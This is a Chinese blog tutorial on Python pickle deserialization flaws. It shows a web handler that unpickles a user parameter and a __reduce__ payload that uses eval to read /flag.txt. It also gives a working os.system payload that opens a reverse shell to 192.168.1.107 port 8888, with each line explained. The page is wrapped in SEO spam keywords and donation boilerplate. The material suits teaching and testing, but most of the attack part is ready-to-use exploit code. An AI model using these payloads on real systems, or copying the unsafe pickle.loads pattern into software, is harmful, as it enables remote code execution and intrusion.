日韩久久久精品,亚洲精品久久久久久久久久久,亚洲欧美一区二区三区国产精品 ,一区二区福利

python反序列化漏洞

系統 1697 0

原理
在網頁源碼中如果出現將用戶輸入數據進行反序列化當成參數輸出時,出現漏洞,可造成任
意命令執行
例如網頁源碼
try:
?????? become = self.get_argument('become')
?????? p = pickle.loads(urllib.unquote(become))
?????? return self.render('form.html', res=p, member=1)
except:
??????? return self.render('form.html', res='This is Black Technology!', member=0)
過程:用戶傳入become參數,服務器將become參數url解碼再反序列化并將結果給p,將p當
作一個參數給res,并且form.html有向客戶端顯示res的部分

那么攻擊方式就是修改可控的become參數,當序列化以及反序列化的過程中中碰到一無所知的擴展類型( python2,這里指的就是新式類)的時候,可以通過類中定義的 __reduce__ 方法來告知如何進行序列化或者反序列化。
也就是說我們,只要在新式類中定義一個__reduce__ 方法,我們就能在序列化的使用讓這個類根據我們在 __reduce__ 中指定的方式進行序列化。

Demo:
①首先用python得到攻擊所需的payload
class payload(object):
?? ?def __reduce__(self):
?? ??? ?return (eval,("open('/flag.txt','r').read()",))? //表示用eval的方式序列化后面內容
a=pickle.dumps(payload())? //得到指定方法序列化后的pickle數據
print(urllib.quote(a))???? //得到url編碼后的payload

②接下來服務端收到payload后
p = pickle.loads(urllib.unquote(a)) //先url解碼再用指定方法反序列化內容,結果執行了代碼
return self.render('form.html', res=p, member=1)? //這時p已經是執行代碼后的內容了

拓展:
既然能夠任意執行代碼,那么就可以反彈shell,以下為payload代碼
import pickle
import urllib
import os

class exp(object):
? ?def __reduce__(self):
? ? ? ?s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
? ? ? ?return os.system, (s,)? //指明用os.system方法序列化s字符串內容
?
poc = pickle.dumps(exp()) //按照指定方式序列化字符串
print(urllib.quote(poc))

詳細的看下字符串內容
python -c '執行命令'
執行命令
Import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.107",8888));
os.dup2(s.fileno(),0);???? //表示所有的輸入內容都傳送給socket
os.dup2(s.fileno(),1);??? //表示所有的輸出內容都傳送給socket
os.dup2(s.fileno(),2);?? //表示所有的錯誤輸出都傳送給socket
p=subprocess.call(["/bin/sh","-i"]);?? //使用sh -i 使shell可交互


更多文章、技術交流、商務合作、聯系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 教育| 伊宁县| 台东市| 台山市| 临夏县| 汽车| 越西县| 和平区| 拉萨市| 麻栗坡县| 平度市| 垣曲县| 双牌县| 高密市| 浠水县| 启东市| 绥芬河市| 宁河县| 罗田县| 宁津县| 开原市| 陆良县| 宁陵县| 天峻县| 云阳县| 连南| 嘉义市| 屏边| 昭平县| 叙永县| 宣化县| 包头市| 定襄县| 邮箱| 田阳县| 赤壁市| 宁河县| 连山| 大安市| 泰来县| 太保市|